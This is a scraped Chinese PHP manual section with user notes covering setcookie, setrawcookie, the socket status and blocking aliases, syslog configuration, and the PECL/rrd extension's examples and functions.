设置这个 Cookie 是否仅仅通过安全的 HTTPS 连接传给客户端。设置成 true 时，只有安全连接存在时才会设置 Cookie。如果是在服务器端处理这个需求，程序员需要仅仅在安全连接上发送此类 Cookie（通过 $_SERVER["HTTPS"] 判断）。

httponly

设置成 true，Cookie 仅可通过 HTTP 协议访问。这意思就是 Cookie 无法通过类似 JavaScript 这样的脚本语言访问。要有效减少 XSS 攻击时的身份窃取行为，可建议用此设置（虽然不是所有浏览器都支持），不过这个说法经常有争议。 true 或 false

options

关联 array，可能会存在以下键 expires、path、domain、secure、httponly 和 samesite。如果存在其它的键，会生成 E_WARNING 级别的错误。这些值的含义跟同名参数的描述相同。samesite 元素的值应该是 None、Lax 或 Strict。如果没有指定任何允许的选项，它们的默认值与显式参数的默认值相同。如果省略 samesite 元素，则不设置 SameSite cookie 属性。

返回值

如果在调用本函数以前就产生了输出，setcookie() 会失败并返回 false。如果 setcookie() 成功运行，返回 true。当然，它的意思并非用户是否已接受 Cookie。

更新日志

版本 | 说明
8.2.0 | Cookie 的日期格式现在为 'D, d M Y H:i:s \G\M\T'； 以前是 'D, d-M-Y H:i:s T'。
7.3.0 | 新增对替代签名 options 数组的支持。此签名还支持 SameSite cookie 属性的设置。

示例

发送 cookie 的几个例子：

Example #1 setcookie() 发送例子

<?php
$value = 'something from somewhere';

setcookie("TestCookie", $value);
setcookie("TestCookie", $value, time()+3600); /* 1 小时过期 */
setcookie("TestCookie", $value, time()+3600, "/~rasmus/", "example.com", 1);
?>

注意：在发送 Cookie 时，值的部分会被自动 urlencode 编码。收到 Cookie 时，会自动解码，并赋值到可变的 Cookie 名称上。如果不想被编码，可以使用 setrawcookie() 代替。在脚本里查看我们的测试 Cookie 的内容，使用下面的一个例子：

<?php
// 打印一个单独的 Cookie
echo $_COOKIE["TestCookie"];

// debug/test 查看所有 Cookie 的另一种方式
print_r($_COOKIE);
?>

Example #2 setcookie() 删除例子

要删除一个 Cookie，应该设置过期时间为过去，以触发浏览器的删除机制。下面的例子展示了如何删除上个例子里的 Cookie：

<?php
// 设置过期时间为一个小时前
setcookie("TestCookie", "", time() - 3600);
setcookie("TestCookie", "", time() - 3600, "/~rasmus/", "example.com", 1);
?>

Example #3 setcookie() 和数组

通过带 array 标记的 Cookie 名称，也可以把 Cookie 设置成数组。如果有数组元素，可以把它放进 Cookie 里；脚本接收到时，Cookie 名称里的值会是一个数组：

<?php
// 设置 Cookie
setcookie("cookie[three]", "cookiethree");
setcookie("cookie[two]", "cookietwo");
setcookie("cookie[one]", "cookieone");

// 网页刷新后，打印出以下内容
if (isset($_COOKIE['cookie'])) {
foreach ($_COOKIE['cookie'] as $name => $value) {
$name = htmlspecialchars($name);
$value = htmlspecialchars($value);
echo "$name : $value <br />\n";
}
}
?>

以上示例会输出：

three : cookiethree
two : cookietwo
one : cookieone

Note: 使用 [ 和 ] 分隔符作为 cookie 名称的一部分不符合 RFC 6265 第 4 节。但根据 RFC 6265 第 5 节应该由 user agent 支持。

注释

Note:

要在调用本函数前输出内容，可以使用输出缓冲，让输出的内容在服务器里缓冲起来，直至真正发送给浏览器。可在脚本里调用 ob_start() 和 ob_end_flush()，或设置 output_buffering php.ini 或服务器配置文件里的配置指令。

注意避坑：

  • 在页面（Cookie 可见的页面）下次刷新前，Cookie 不会生效。 测试 Cookie 是否已经成功设置，需要在下次页面加载时、Cookie 过期前检测。 过期时间是通过 expires_or_options 参数设置的。 直接调用 print_r($_COOKIE); 调试检测 Cookie 是个很好的方式。
  • 为同一个参数再次设置 Cookie 前，必须先把它删掉。 如果参数的值是空 string，并且其他参数和上次调用 setcookie 仍旧一样， 则指定的名称会被远程客户端删除。 内部的实现是：将值设置成 'deleted'，且过去的过期时间。
  • 因为设置值成 false 会导致 Cookie 被删除，所以要避免使用布尔值。 代替方式：0 是 false，1 是 true。
  • Cookie 名称可以设置成数组名称，PHP 脚本里会是数组， 但用户系统里储存的是单独分开的 Cookie。 可以考虑使用 explode() 为一个 Cookie 设置多个名称和值。 不建议将 serialize() 用于此处，因为它会导致安全漏洞。

多次调用 setcookie() 会按调用顺序执行。

参见

  • header() - 发送原生 HTTP 头
  • setrawcookie() - 发送未经 URL 编码的 cookie
  • Cookie 章节
  • » RFC 6265
  • » RFC 2109

User Contributed Notes

Anonymous 04-Aug-2020 04:24
Just an example to clarify the use of the array options, especially since Mozilla is going to deprecate / penalise the use of SameSite = none,  which is used by default if not using array options.

<?php
$arr_cookie_options = array (
                'expires' => time() + 60*60*24*30,
                'path' => '/',
                'domain' => '.example.com', // leading dot for compatibility or use subdomain
                'secure' => true,     // or false
                'httponly' => true,    // or false
                'samesite' => 'None' // None || Lax  || Strict
                );
setcookie('TestCookie', 'The Cookie Value', $arr_cookie_options);
?>
synnus at gmail dot com 03-Aug-2020 10:04
The " PHPSESSID " cookie will soon be rejected because its " sameSite " attribute is set to " none " or an invalid value, and without " secure " attribute. To learn more about the "sameSite" attribute, visit https://developer.mozilla.org/docs/Web/HTTP/Headers/Set-Cookie/SameSite.

<?php
 ini_set("session.cookie_secure", 1);
 session_start();

my PHP code ....

?>
nacho at casinelli dot com 12-Mar-2017 11:33
It's worth a mention: you should avoid dots on cookie names.

<?php
// this will actually set 'ace_fontSize' name:
setcookie( 'ace.fontSize', 18 );
?>
ellert at vankoperen dot nl 10-Jul-2014 10:58
Caveat: if you use URL RewriteRules to get stuff like this: domain.com/bla/stuf/etc into parameters, you might run into a hickup when setting cookies.
At least in my setup a change in one of the parameters resulted in the cookie not being 'there' anymore.
The fix is simple: specify the domain. '/' will usualy do fine.
walterquez 28-Sep-2012 04:43
Instead of this:
<?php setcookie( "TestCookie", $value, time()+(60*60*24*30) ); ?>

You can this:
<?php setcookie( "TestCookie", $value, strtotime( '+30 days' ) ); ?>
Bachsau 26-Jun-2012 01:49
Want to remove a cookie?

Many people do it the complicated way:
setcookie('name', 'content', time()-3600);

But why do you make it so complicated and risk it not working, when the client's time is wrong? Why fiddle around with time();

Here's the easiest way to unset a cookie:
setcookie('name', 'content', 1);

Thats it.
Anonymous 10-Sep-2010 03:20
A period in a cookie name (like user.name) seems to show up in the $_COOKIE array as an underscore (so user_name). This means that for example $_COOKIE["user_name"] must be used to read a cookie that has been set with setcookie("user.name" ...), which is already rather confusing.

Furthermore the variable $_COOKIE["user_name"] will retain the value set by setcookie("user.name" ...) and no amount of calling setcookie("user_name" ...) will alter this value. This is rather trivially fixed by clearing the "user.name" cookie, but it can take a while to realize this since there's only "user_name" in $_COOKIE.

Hope this saves someone some time.
laffen 27-May-2009 01:49
Note that the $_COOKIE variable not will hold multiple cookies with the same name. It is legitimate to set two cookies with the same name to the same host where the sub domain is different.
<?php
setcookie("testcookie", "value1hostonly", time(), "/", ".example.com", 0, true);
setcookie("testcookie", "value2subdom", time(), "/", "subdom.example.com", 0, true);
?>
The next request from the browser will have both cookies in the $_SERVER['HTTP_COOKIE'] variable, but only one of them will be found in the $_COOKIE variable. Requests to subdom.example.com will have both cookies, while browser request to example.com or www.example.com only sends the cookie with the "value1hostonly" value.

<?php
$kaker = explode(";", $_SERVER['HTTP_COOKIE']);
foreach($kaker as $val){
    $k = explode("=", $val);
    echo trim($k[0]) . " => " . $k[1];
}

// output
testcookie => value1hostonly
testcookie => value2subdom

?>
gabe at fijiwebdesign dot com 25-Feb-2007 07:25
If you want to delete all cookies on your domain, you may want to use the value of:

<?php $_SERVER['HTTP_COOKIE'] ?>

rather than:

<?php $_COOKIE ?>

to dertermine the cookie names.
If cookie names are in Array notation, eg: user[username]
Then PHP will automatically create a corresponding array in $_COOKIE. Instead use $_SERVER['HTTP_COOKIE'] as it mirrors the actual HTTP Request header.

<?php

// unset cookies
if (isset($_SERVER['HTTP_COOKIE'])) {
    $cookies = explode(';', $_SERVER['HTTP_COOKIE']);
    foreach($cookies as $cookie) {
        $parts = explode('=', $cookie);
        $name = trim($parts[0]);
        setcookie($name, '', time()-1000);
        setcookie($name, '', time()-1000, '/');
    }
}

?>
08-Feb-2007 05:13
something that wasn't made clear to me here and totally confused me for a while was that domain names must contain at least two dots (.), hence 'localhost' is invalid and the browser will refuse to set the cookie! instead for localhost you should use false.

to make your code work on both localhost and a proper domain, you can do this:

<?php

$domain = ($_SERVER['HTTP_HOST'] != 'localhost') ? $_SERVER['HTTP_HOST'] : false;
setcookie('cookiename', 'data', time()+60*60*24*365, '/', $domain, false);

?>
paul nospam AT nospam sitepoint dot com 06-Dec-2006 08:59
Note when setting "array cookies" that a separate cookie is set for each element of the array.

On high traffic sites, this can substantially increase the size of subsequent HTTP requests from clients (including requests for static content on the same domain).

More importantly though, the cookie specification says that browsers need only accept 20 cookies per domain.  This limit is increased to 50 by Firefox, and to 30 by Opera, but IE6 and IE7 enforce the limit of 20 cookie per domain.  Any cookies beyond this limit will either knock out an older cookie or be ignored/rejected by the browser.
hansel at gretel dot com 06-Nov-2006 08:12
The following code snippet combines abdullah's and Charles Martin's examples into a powerful combination function (and fixes at least one bug in the process):

<?php
  function set_cookie_fix_domain($Name, $Value = '', $Expires = 0, $Path = '', $Domain = '', $Secure = false, $HTTPOnly = false)
  {
    if (!empty($Domain))
    {
      // Fix the domain to accept domains with and without 'www.'.
      if (strtolower(substr($Domain, 0, 4)) == 'www.')  $Domain = substr($Domain, 4);
      $Domain = '.' . $Domain;

      // Remove port information.
      $Port = strpos($Domain, ':');
      if ($Port !== false)  $Domain = substr($Domain, 0, $Port);
    }

    header('Set-Cookie: ' . rawurlencode($Name) . '=' . rawurlencode($Value)
                          . (empty($Expires) ? '' : '; expires=' . gmdate('D, d-M-Y H:i:s', $Expires) . ' GMT')
                          . (empty($Path) ? '' : '; path=' . $Path)
                          . (empty($Domain) ? '' : '; domain=' . $Domain)
                          . (!$Secure ? '' : '; secure')
                          . (!$HTTPOnly ? '' : '; HttpOnly'), false);
  }
?>

Basically, if the domain parameter is supplied, it is converted to support a broader range of domains.  This behavior may or may not be desireable (e.g. could be a security problem depending on the server) but it makes cookie handling oh-so-much-nicer (IMO).


发送未经 URL 编码的 cookie

  • ? setcookie
  • socket_get_status ?
  • PHP Manual
  • 网络 函数
  • 发送未经 URL 编码的 cookie

setrawcookie

(PHP 5, PHP 7, PHP 8)

setrawcookie — 发送未经 URL 编码的 cookie

说明

setrawcookie(
string $name,
string $value = ?,
int $expires_or_options = 0,
string $path = ?,
string $domain = ?,
bool $secure = false,
bool $httponly = false
): bool

自 PHP 7.3.0 起可用的替代签名（不支持命名参数）：

setrawcookie(string $name, string $value = ?, array $options = []): bool

setrawcookie() 和 setcookie() 非常相似，唯一不同之处是发送到浏览器的 cookie 值没有自动经过 URL 编码（urlencode）。

参数

相关参数的信息参见 setcookie() 的文档。

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
7.3.0 | 新增替代签名 options 的支持。此签名还支持设置 SameSite cookie 属性。

参见

  • setcookie() - 发送 Cookie

User Contributed Notes

sageptr at gmail dot com 16-Jul-2012 04:10
If you want to pass something and unserialize later, you should somehow sign value to ensure evil user don't modify it.
For example, calculate hash sha1($value.$securekey) and place it to different cookie. If cookie value mismatch hash - simple discard both.
This technique you can use in any case if you want to protect cookie from modification, but it can't protect from deletion or from setting to other valid cookie (old or stolen from other user).
kexianbin at diyism dot com 28-Dec-2011 07:35
my php cookie value encode function:

<?php
function encode_cookie_value($value)
         {return strtr($value,
                       array_combine(str_split($tmp=",; \t\r\n\013\014"),
                                     array_map('rawurlencode', str_split($tmp))
                                    )
                      );
         }
setrawcookie('kk', encode_cookie_value('jk=jk?jk-/":jk;jk jk,jk'));
?>
Sebastian 29-Jun-2011 04:59
You really shouldn't use (un)serialize with cookies. An evil user could inject ANY code in your script.
lgb 01-Oct-2009 01:53
After having several problems with this cookie thing, I'm using base64_encode on the data I put into a cookie, so I can avoid problems, I had before. I tried to set up cookie with data created by serialize() from a PHP array, but it did not work to be able to get it back, after I modified it to use value of base64_encode(serialize(...)) to set up the cookie, and unserialize(base64_decode(..)) to get back the value, everything started to work.
subs at voracity dot org 12-Dec-2006 05:31
setrawcookie() isn't entirely 'raw'. It will check the value for invalid characters, and then disallow the cookie if there are any. These are the invalid characters to keep in mind: ',;<space>\t\r\n\013\014'.

Note that comma, space and tab are three of the invalid characters. IE, Firefox and Opera work fine with these characters, and PHP reads cookies containing them fine as well. However, if you want to use these characters in cookies that you set from php, you need to use header().
Brian 10-Mar-2006 11:56
Firefox is following the real spec and does not decode '+' to space...in fact it further encodes them to '%2B' to store the cookie.  If you read a cookie using javascript and unescape it, all your spaces will be turned to '+'.
To fix this problem, use setrawcookie and rawurlencode:

<?php
setrawcookie('cookie_name', rawurlencode($value), time()+60*60*24*365);
?>

The only change is that spaces will be encoded to '%20' instead of '+' and will now decode properly.


别名 stream_get_meta_data

  • ? setrawcookie
  • socket_set_blocking ?
  • PHP Manual
  • 网络 函数
  • 别名 stream_get_meta_data

socket_get_status

(PHP 4, PHP 5, PHP 7, PHP 8)

socket_get_status — 别名 stream_get_meta_data()

说明

此函数是该函数的别名： stream_get_meta_data()。

User Contributed Notes

gtk at linux dot online dot no 20-Feb-2002 11:48
Note that if you set the socket non-blocking via socket_set_blocking() you cannot check if the socket has timed out with this function.

Example:

$status = socket_get_status($fp);

if ($status['timed_out']) {
    echo "socket timed out\n";
}

The above condition will never be true even if the socket has timed out.

I'm not sure if this behaviour is just not documented or a bug. Anyways I'm posting it here because it took some time to figure out.
corruptNOSPAMPLEASE at mod dot net 24-Jan-2002 05:51
This function worked for me under 4.0.4pl1

bytes_left function will tell you how many bytes are left in the buffer of socket $fp. It assumes you didn't make $fp global

function bytes_left($fp) {

  $status = socket_get_status ($fp);
  $bytes = $status["unread_bytes"];
  return $bytes;
}
rawb at rawb dot org 11-Dec-2000 03:30
sockets created using socket(), which are mostly used for listening for connections, are not friendly to this function, you will not get your expected results (if you get any results at all)


别名 stream_set_blocking

  • ? socket_get_status
  • socket_set_timeout ?
  • PHP Manual
  • 网络 函数
  • 别名 stream_set_blocking

socket_set_blocking

(PHP 4, PHP 5, PHP 7, PHP 8)

socket_set_blocking — 别名 stream_set_blocking()

说明

此函数是该函数的别名： stream_set_blocking()。

User Contributed Notes

There are no user contributed notes for this page.


别名 stream_set_timeout

  • ? socket_set_blocking
  • syslog ?
  • PHP Manual
  • 网络 函数
  • 别名 stream_set_timeout

socket_set_timeout

(PHP 4, PHP 5, PHP 7, PHP 8)

socket_set_timeout — 别名 stream_set_timeout()

说明

此函数是该函数的别名： stream_set_timeout()。

User Contributed Notes

There are no user contributed notes for this page.


Generate a system log message

  • ? socket_set_timeout
  • RRD ?
  • PHP Manual
  • 网络 函数
  • Generate a system log message

syslog

(PHP 4, PHP 5, PHP 7, PHP 8)

syslog — Generate a system log message

说明

syslog(int $priority, string $message): true

syslog() generates a log message that will be distributed by the system logger.

For information on setting up a user defined log handler, see the syslog.conf (5) Unix manual page. More information on the syslog facilities and option can be found in the man pages for syslog (3) on Unix machines.

参数

priority

priority is a combination of the facility and the level. Possible values are:

syslog() Priorities (in descending order)
Constant | Description
LOG_EMERG | system is unusable
LOG_ALERT | action must be taken immediately
LOG_CRIT | critical conditions
LOG_ERR | error conditions
LOG_WARNING | warning conditions
LOG_NOTICE | normal, but significant, condition
LOG_INFO | informational message
LOG_DEBUG | debug-level message

message

The message to send.

返回值

总是返回 true。

示例

Example #1 Using syslog()

<?php
// open syslog, include the process ID and also send
// the log to standard error, and use a user defined
// logging mechanism
openlog("myScriptLog", LOG_PID | LOG_PERROR, LOG_LOCAL0);

// some code

if (authorized_client()) {
// do something
} else {
// unauthorized client!
// log the attempt
$access = date("Y/m/d H:i:s");
syslog(LOG_WARNING, "Unauthorized client: $access {$_SERVER['REMOTE_ADDR']} ({$_SERVER['HTTP_USER_AGENT']})");
}

closelog();
?>

注释

On Windows, the syslog service is emulated using the Event Log.

Note:

Use of LOG_LOCAL0 through LOG_LOCAL7 for the facility parameter of openlog() is not available in Windows.

参见

  • openlog() - Open connection to system logger
  • closelog() - 关闭系统日志链接
  • syslog.filter INI setting (starting with PHP 7.3)

User Contributed Notes

Anonymous 01-Dec-2021 08:35
There's no point to manually timestamp the message (as shown in docs' example) as all sane logging systems timestamp all entries by themselves.
OWM 02-Jul-2020 04:45
Syslog autodetects newline control characters and therefore splits the message by multiple lines. To prevent this behavior in PHP 7.3+ you can use undocumented (at this moment) ini setting:

<?php

ini_set('syslog.filter', 'raw');

# more info here: https://bugs.php.net/bug.php?id=77913
rgagnon24 at gmail dot com 09-Feb-2019 04:39
This one had me going for a while when using LOG_ constants in another object, when developing on Windows, but deploying on Linux.

Windows evaluates some of the LOG_ constants to the same value, while LINUX does not.

The 8 constants and their differences on the platforms to be aware of:

Linux has these values as:
========================
LOG_EMERG = 0
LOG_ALERT = 1
LOG_CRIT = 2
LOG_ERR = 3
LOG_WARNING = 4
LOG_NOTICE = 5
LOG_INFO = 6
LOG_DEBUG = 7

While on Windows, you have:
==========================
LOG_EMERG = 1
LOG_ALERT = 1
LOG_CRIT = 1
LOG_ERR = 4
LOG_WARNING = 5
LOG_NOTICE = 6
LOG_INFO = 6
LOG_DEBUG = 6

So if you're setting LOG_WARNING in your code, Linux will use 4 as the priority while Windows will use 5.

This is not a bug in PHP on either platform, but a difference in the system header files that PHP compiles with.  Not really anything you can do, but be aware if you're wondering why your messages log at different priorities depending on the platform, this could be why.
stevekamerman at gmail dot com 24-Oct-2018 06:43
This function sends messages in BSD Syslog RFC 3164 format (https://tools.ietf.org/html/rfc3164).

To see the raw messages being sent by PHP to the logging socket, first stop your syslog/rsylsog/ng-syslog service, then listen to the logging socket with the netcat-openbsd package:

nc -U -l /dev/log

Now, log something from PHP:

<?php
syslog(LOG_LOCAL1|LOG_INFO, "Test from PHP");
?>

You will see the rfc3164 output from netcat:

<142>Oct 24 14:32:51 php: Test from PHP
antoine dot leverve dot EXT at zodiacaerospace dot com 21-Dec-2015 11:48
The documentation is incorrect when it says "Priorities (in descending order)", as the table that follows is actually in **ascending** order.

For example my output says:
LOG_ERR : 4
LOG_WARNING : 5
LOG_DEBUG : 6

An important difference, that caused me some pain!
huangyg11 at gmail dot com 11-May-2015 04:34
For those who want to simultaneously write to multiple syslog facilities :

syslog(LOG_INFO|LOG_LOCAL0, "message for local0");
syslog(LOG_INFO|LOG_LOCAL1, "message for local1");
Antonio Lobato 11-May-2010 01:57
A word of warning; if you use openlog() to ready syslog() and your Apache threads accept multiple requests, you *must* call closelog() if Apache's error log is configured to write to syslog.  Failure to do so will cause Apache's error log to write to whatever facility/ident was used in openlog.

Example, in httpd.conf you have:

ErrorLog syslog:local7

and in php you do:

<?php
openlog("myprogram", 0, LOG_LOCAL0);
syslog("My syslog message");
?>

From here on out, this Apache thread will write ErrorLog to local0 and under the process name "myprogram" and not httpd!  Calling closelog() will fix this.
james dot ellis at gmail dot com 02-Dec-2007 08:26
If anyone is wondering why their log messages are appearing in multiple log files, here is one answer applying to *nix systems:

If your syslog.conf looks like this (assuming you use LOG_LOCAL0 for web app logging) :

local0.info    /var/log/web/info.log

This will collect *all* messages of LOG_INFO level and higher, i.e everything except debug messages

Try this instead to ensure that only messages of the named log level go into the relevant log file:

local0.=info    /var/log/web/info.log

Additionally, you may like to add this to ensure your messages don't end up in generic log files like "messages"  "all" "syslog" and "debug":

local0.none    /var/log/messages
local0.none    /var/log/debug
etc

saves disk space among other things - more at "man syslog.conf"
helly at php dot net 13-Apr-2007 05:49
If you are using syslog-ng and want errors send to syslog then use ini setting "error_log = syslog" and add something like the following to your syslog-ng.conf:

destination php { file("/var/log/php.log" owner(root) group(devel) perm(0620)); };
log { source(src); filter(f_php); destination(php); };
adam _at_ lockdownnetworks _dot_ com 10-Apr-2007 06:32
Be aware when using syslog() that if you set the timezone of environment to be something other than the standard, syslog() may log the time to the log(s) with the wrong time zone information. For example:

<?php

openlog('mylog', LOG_PID | LOG_ODELAY,LOG_LOCAL4);

putenv('TZ=UTC');
syslog(LOG_INFO, 'UTC Log line');

putenv('TZ=US/Pacific');
syslog(LOG_INFO, 'US/Pacific Log line');

closelog();

?>

Viewing the /usr/log/messages log will display these two lines:

Apr 11 01:25:39 hostname mylog[1400]: UTC Log line
Apr 10 18:25:39 hostname mylog[1400]: US/Pacific Log line

Adam.
Torsten 23-Apr-2004 06:27
I had a problem trying to issue a syslog message with IIS 5.1 under Windows XP. The function call seemed to succeed, but the event viewer showed that no entry was made.
Finally I found out that the user account used for the webserver (IUSR_<Computername>) did not have enough permissions to issue syslog alerts. I changed this by adding this user to the Users group instead of only Guest.
daniele dot patoner at biblio dot unitn dot it 06-Nov-2003 11:00
This work for me, to redirect  logs to a separate syslog file

put this line in your /etc/syslog.conf :

local0.debug   /var/log/php.log

Then restart syslogd:

/etc/init.d/syslog restart

php example:

<?php
define_syslog_variables();
openlog("TextLog", LOG_PID, LOG_LOCAL0);

$data = date("Y/m/d H:i:s");
syslog(LOG_DEBUG,"Messagge: $data");

closelog();
?>
gregj at pdxperts dot com 28-Jul-2003 05:05
The message string sent to the log file is limited to 500 characters.
dpreece at paradise dot net dot nz 29-Jan-2002 04:08
To set up a custom log file via the syslog daemon (FreeBSD in this case)...

Add to /etc/syslog.conf a line that says all errors from the httpd process are to go to a file called (for example) /var/log/httpd-php.log

!httpd
*.*   {tab}   /var/log/httpd-php.log

Note the tab, being a tab character! Next create a blank file to be written to. I'm sure there are 1e+6 ways to do this, but I choose

# cat > httpd-php.log << EOF
? EOF

Finally find your syslog daemon and send it a sighup to inform it of the change:

# ps ax | grep syslogd
  133  ??  Ss     0:07.23 syslogd -s
# kill -1 133

Et voila! Php syslog calls will now arrive in /var/log/httpd-php.log
mavetju at chello dot nl 22-Jan-2001 06:11
With FreeBSD I can use: syslog(LOG_INFO,"test");

BSD/OS does not support this, I had to use the literal values for the priority (158: local3.info):
syslog(158,"test");
gherson at snet dot net 20-Dec-2000 01:09
Example of where to look for syslog's output:   /var/log/httpd/access_log
(on Red Hat Linux Secure Server v6.2).
rcgraves+php at brandeis dot edu 17-Feb-2000 12:51
For the-header-file-enabled:

man 3 syslog defines the priorities, but not the integer values. For that you'll need to read your system header file.

Let's suppose I want to log an informational message in the mail log (which happens to be true). The man page tells me I want LOG_MAIL|LOG_INFO. So I look in /usr/include/sys/syslog.h and find (this happens to be Linux, your system could be different):

#define LOG_INFO        6       /* informational */
#define LOG_MAIL        (2<<3)  /* mail system */

2<<3 means shift 3 bits left, which means multiply by 8. So I want 2*8 + 6 = 22. syslog(22,"this message will appear in the mail log"); And indeed it does.
bb at lb-data dot co dot at 08-Sep-1999 03:54
In Windows NT, use the following values of priority:
1 = error,
6 = info


RRDtool

  • 简介
  • 安装/配置
    • 需求
    • 安装
    • 运行时配置
    • 资源类型
  • 预定义常量
  • 示例
    • Procedural PECL/rrd example
    • OOP PECL/rrd example
  • RRD 函数
    • rrd_create — 创建 rrd 数据库文件
    • rrd_error — 获取最新的错误信息
    • rrd_fetch — 获取图表数据数组
    • rrd_first — 从 rrd 文件中获取第一个样本的时间戳
    • rrd_graph — 从数据创建图像
    • rrd_info — 获取 rrd 文件有关信息
    • rrd_last — 获取最后一个样本的 Unix 时间戳
    • rrd_lastupdate — 获取有关上次更新数据的信息
    • rrd_restore — 从 XML 转储中恢复 RRD 文件
    • rrd_tune — 调整 RRD 数据库文件头选项
    • rrd_update — 更新 RRD 数据库
    • rrd_version — 获取底层 rrdtool 库的相关信息
    • rrd_xport — 导出 RRD 数据库的相关信息
    • rrdc_disconnect — 关闭所有未完成的 rrd 缓存守护进程连接
  • RRDCreator — The RRDCreator class
    • RRDCreator::addArchive — Adds RRA - archive of data values for each data source
    • RRDCreator::addDataSource — Adds data source definition for RRD database
    • RRDCreator::__construct — Creates new RRDCreator instance
    • RRDCreator::save — Saves the RRD database to a file
  • RRDGraph — The RRDGraph class
    • RRDGraph::__construct — Creates new RRDGraph instance
    • RRDGraph::save — Saves the result of query into image
    • RRDGraph::saveVerbose — Saves the RRD database query into image and returns the verbose information about generated graph
    • RRDGraph::setOptions — Sets the options for rrd graph export
  • RRDUpdater — The RRDUpdater class
    • RRDUpdater::__construct — Creates new RRDUpdater instance
    • RRDUpdater::update — Update the RRD database file

User Contributed Notes

There are no user contributed notes for this page.


简介

PECL/rrd 扩展提供了对 RRDtool C 库的绑定。RRDtool 是工业级开源的、高性能的时序数据记录和绘图系统。

RRDtool 的主页 » http://www.mrtg.org/rrdtool/。

User Contributed Notes

There are no user contributed notes for this page.


需求

要使用 PECL/rrd 首先需要安装 librrd。最常见的选择是从 Linux 发行版中使用 librrd-dev 包。PECL/rrd 已使用 librrd 1.4.3 测试，旧的或新的版本可能不能工作。

Warning

Librrd 和扩展本身大多都不是线程安全的。librrd 中有许多全局和共享状态。在类似 Apache2 mpm worker 等多线程环境中使用该扩展可能很危险。如果存在许多并行请求，一个请求可以更改其他运行请求的某些全局的 librrd 状态。

User Contributed Notes

There are no user contributed notes for this page.


安装

安装此 PECL 扩展相关的信息可在手册中标题为 PECL 扩展的安装章节中找到。更多信息如新的发行版本、下载、源文件、 维护人员信息及变更日志等，都在此处： » https://pecl.php.net/package/rrd.

User Contributed Notes

There are no user contributed notes for this page.


示例

Table of Contents

  • Procedural PECL/rrd example
  • OOP PECL/rrd example

User Contributed Notes

There are no user contributed notes for this page.


Procedural PECL/rrd example

Example #1 Procedural usage of rrd

<?php
$rrdFile = dirname(__FILE__) . "/speed.rrd";

//create rrd file
rrd_create($rrdFile,
array(
"--start",920804400,
"DS:speed:COUNTER:600:U:U",
"RRA:AVERAGE:0.5:1:24",
"RRA:AVERAGE:0.5:6:10"
)
);

//update rrd file
rrd_update($rrdFile,
array(
"920804700:12345",
"920805000:12357"
)
);

//graph output
rrd_graph(dirname(__FILE__) . "/speed.png",
array(
"--start", "920804400",
"--end", "920808000",
"--vertical-label", "m/s",
"DEF:myspeed=$rrdFile:speed:AVERAGE",
"CDEF:realspeed=myspeed,1000,*",
"LINE2:realspeed#FF0000"
)
);
?>

User Contributed Notes

There are no user contributed notes for this page.


OOP PECL/rrd example

Example #1 OO usage of rrd

<?php
$rrdFile = dirname(__FILE__) . "/speed.rrd";
$outputPngFile = dirname(__FILE__) . "/speed.png";

$creator = new RRDCreator($rrdFile, "now -10d", 500);
$creator->addDataSource("speed:COUNTER:600:U:U");
$creator->addArchive("AVERAGE:0.5:1:24");
$creator->addArchive("AVERAGE:0.5:6:10");
$creator->save();

$updater = new RRDUpdater($rrdFile);
$updater->update(array("speed" => "12345"), "920804700");
$updater->update(array("speed" => "12357"), "920805000");

$graphObj = new RRDGraph($outputPngFile);
$graphObj->setOptions(
array(
"--start" => "920804400",
"--end" => 920808000,
"--vertical-label" => "m/s",
"DEF:myspeed=$rrdFile:speed:AVERAGE",
"CDEF:realspeed=myspeed,1000,*",
"LINE2:realspeed#FF0000"
)
);
$graphObj->save();
?>

User Contributed Notes

There are no user contributed notes for this page.


RRD 函数

Table of Contents

  • rrd_create — 创建 rrd 数据库文件
  • rrd_error — 获取最新的错误信息
  • rrd_fetch — 获取图表数据数组
  • rrd_first — 从 rrd 文件中获取第一个样本的时间戳
  • rrd_graph — 从数据创建图像
  • rrd_info — 获取 rrd 文件有关信息
  • rrd_last — 获取最后一个样本的 Unix 时间戳
  • rrd_lastupdate — 获取有关上次更新数据的信息
  • rrd_restore — 从 XML 转储中恢复 RRD 文件
  • rrd_tune — 调整 RRD 数据库文件头选项
  • rrd_update — 更新 RRD 数据库
  • rrd_version — 获取底层 rrdtool 库的相关信息
  • rrd_xport — 导出 RRD 数据库的相关信息
  • rrdc_disconnect — 关闭所有未完成的 rrd 缓存守护进程连接

User Contributed Notes

There are no user contributed notes for this page.


创建 rrd 数据库文件

  • ? RRD 函数
  • rrd_error ?
  • PHP Manual
  • RRD 函数
  • 创建 rrd 数据库文件

rrd_create

(PECL rrd >= 0.9.0)

rrd_create — 创建 rrd 数据库文件

说明

rrd_create(string $filename, array $options): bool

创建 rrd 数据库文件。

参数

filename

新创建的 rrd 文件名。

options

rrd 创建选项 - 字符串列表。全部列表项请参阅创建 rrd 的手册页。

返回值

成功时返回 true， 或者在失败时返回 false。

User Contributed Notes

daniel dot seif at castex dot de 29-Apr-2011 08:52
Note, that in previous versions, the interface was

bool rrd_create ( string $filename , array $options , integer numberOfOptions )


获取最新的错误信息

  • ? rrd_create
  • rrd_fetch ?
  • PHP Manual
  • RRD 函数
  • 获取最新的错误信息

rrd_error

(PECL rrd >= 0.9.0)

rrd_error — 获取最新的错误信息

说明

rrd_error(): string

获取 rrd 全局最新的错误信息。

参数

此函数没有参数。

返回值

最新的错误信息。

User Contributed Notes

There are no user contributed notes for this page.


获取图表数据数组

  • ? rrd_error
  • rrd_first ?
  • PHP Manual
  • RRD 函数
  • 获取图表数据数组

rrd_fetch

(PECL rrd >= 0.9.0)

rrd_fetch — 获取图表数据数组

说明

rrd_fetch(string $filename, array $options): array

从 RRD 数据库文件获取图表输出的数据数组。此函数与 rrd_graph() 结果相同，但仅返回数据数组，不会生成图像文件。

参数

filename

RRD 数据库文件名。

options

数据间隔规范的数组选项。

返回值

返回检索到的相关图形信息数据。

User Contributed Notes

stephanecharette at gmail dot com 06-Sep-2013 05:50
For example, this worked for me:

<?php
$result = rrd_fetch( "mydata.rrd", array( "AVERAGE", "--resolution", "60", "--start", "-1d", "--end", "start+1h" ) );
?>

This will fetch all fields.  You then have to use something like this to get to a specified rrd field:

<?php
foreach ( $result["data"]["myfield"] as $key => $value )
{
    echo "At timestamp $key, the value for myfield is $value.\n";
}
?>
ernestas at versme dot net 21-Aug-2013 12:56
A few years ago, the extension was patched so that it would count options itself. But for me, it's buggy (it does not work with more than 3 arguments) and neither does work.


